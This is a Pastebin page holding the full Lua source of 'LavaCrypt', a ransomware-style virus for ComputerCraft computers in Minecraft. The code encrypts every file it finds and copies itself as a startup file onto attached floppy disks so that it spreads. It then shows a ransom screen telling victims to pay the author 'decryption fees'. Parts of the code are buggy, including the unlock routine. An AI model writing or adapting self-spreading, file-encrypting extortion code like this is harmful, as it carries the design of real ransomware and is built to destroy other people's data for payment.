Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- LavaCrypt By Ossie
- Virus encrypts all files on PC and anchors itself into Floppy Disks that are connected
- One of the most hard to fight viruses ever created due to its infective and encrypting nature
- --]]
- -- setting up to ensure deletion of files
- print("CraftOS 1.7 Loading...")
- local function convert( chars, dist, inv )
- return string.char( ( string.byte( chars ) - 32 + ( inv and -dist or dist ) ) % 95 + 32 )
- end
- local function crypt(str,k,inv)
- local enc= "";
- local enc1 = {29, 58, 93, 28, 27};
- for i=1,#str do
- if(#str-k[5] >= i or not inv)then
- for inc=0,3 do
- if(i%4 == inc)then
- enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
- break;
- end
- end
- end
- end
- if(not inv)then
- for i=1,k[5] do
- enc = enc .. string.char(math.random(32,126));
- end
- end
- return enc;
- end
- -- Grabs Paths
- local function getSubPaths(path)
- local list = fs.list(path)
- local paths = {}
- for _, name in pairs(list) do
- local newPath = fs.combine(path, name)
- if (fs.isDir(newPath)) then
- local subPaths = getSubPaths(newPath)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = newPath
- end
- end
- return paths
- end
- -- Grabs paths from connected disks
- local function getPaths(path, readROM)
- if (path == "" or path == "/") then
- if (readROM) then
- return getSubPaths(path)
- else
- local list = fs.list("/")
- local paths = {}
- for _, path in pairs(list) do
- if (path ~= "rom") then
- if (fs.isDir(path)) then
- local subPaths = getSubPaths(path)
- for i = 1, #subPaths do
- paths[#paths+1] = subPaths[i]
- end
- else
- paths[#paths+1] = path
- end
- end
- end
- return paths
- end
- else
- return getSubPaths(path)
- end
- end
- local files = getPaths("/", false)
- os.setComputerLabel("Computer_")
- fs.delete("virus")
- fs.makeDir("virus")
- if fs.exists("disk") and fs.isDir("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- fs.copy("virus/vir", "disk/startup") -- anchors to disk1
- end
- if fs.exists("disk2") and fs.isDir("disk2") then
- if fs.exists("disk2/startup") then
- fs.delete("disk2/startup")
- end
- fs.copy("virus/vir", "disk2/startup") -- anchors to disk2
- end
- if fs.exists("disk3") and fs.isDir("disk3") then
- if fs.exists("disk3/startup") then
- fs.delete("disk3/startup")
- end
- fs.copy("virus/vir", "disk3/startup") -- anchors to disk3
- end
- if fs.exists("disk4") and fs.isDir("disk4") then
- if fs.exists("disk4/startup") then
- fs.delete("disk4/startup")
- end
- fs.copy("virus/vir", "disk4/startup") -- anchors to disk4
- end
- if fs.exists("disk5") and fs.isDir("disk5") then
- if fs.exists("disk5/startup") then
- fs.delete("disk5/startup")
- end
- fs.copy("virus/vir", "disk5/startup") -- anchors to disk5 (basically the max amount of discs you can have on one pc)
- end
- for _,v in pairs(files) do
- if string.sub(v, 1,5) == "virus" then
- else
- end
- end
- local iv = {}
- for i = 1,16 do iv[i] = math.random(1,255) end
- for _,v in pairs(files) do
- if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" or v == "disk3/startup" or v == "disk4/startup" or v == "disk5/startup" or v == "disk/2328a" then
- else
- local hBf = fs.open(v, "r")
- local enc1 = {29, 58, 93, 28, 27};
- local stuff = hBf.readAll()
- local encrypted = crypt(stuff,enc1)
- print("Encrypted file " .. v .. " " .. encrypted)
- sleep(5)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(encrypted)
- hAf.close()
- while true do
- term.clear()
- term.setCursorPos(1,1)
- decode = math.random(0, 1000000)
- decoding = fs.exists("disk/2328a")
- if decoding == true then
- print("One time Key:", decode, "Make sure to enter the code correctly")
- print(" ")
- end
- print("--- [LavaCrypt] ---")
- print("All files on this pc have been encrypted.")
- print("Reclaiming your files is impossible without the decryption file")
- print("Please msg Osssie when he is online to discuss decryption fees.")
- print("Do not try to act smart and spread your decryption file to other players.")
- print("I Create the decryption files personally and the encryption algorithms are")
- print("randomly generated on each PC, It will not work. If you get infected again")
- print("on a different PC, You will have to pay again.")
- print("--- [LavaCrypt] ---")
- write("Removal password: ")
- if tonumber(read("*")) == decode then
- print("Success! Decrypting files, please wait.")
- sleep(2)
- term.clear()
- term.setCursorPos(1,1)
- os.setComputerLabel("Decrypted PC")
- fs.delete("startup")
- fs.delete("start")
- fs.delete("virus/vir")
- local iv = {}
- for i = 1,16 do iv[i] = math.random(1,255) end
- for _,v in pairs(files) do
- if v == "virus/aeslua" or v == "virus/logsalt" or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" or v == "disk3/startup" or v == "disk4/startup" or v == "disk5/startup" or v == "disk/2328a" then
- else
- local hBf = fs.open(v, "r")
- local enc1 = {29, 58, 93, 28, 27};
- local stuff = hBf.readAll()
- print("this is hbf.readall" .. " " .. stuff)
- local encrypted = crypt(stuff,enc1)
- print("this is after defining encrypted" .. " " .. encrypted)
- local decrypted = crypt(encrypted,enc1,true)
- print("Decrypted file " .. v .. decrypted)
- hBf.close()
- hAf = fs.open(v, "w")
- hAf.write(decrypted)
- hAf.close()
- end
- end
- break
- else
- print("Incorrect Code!")
- sleep(1)
- end
- end
- end
- end
RAW Paste Data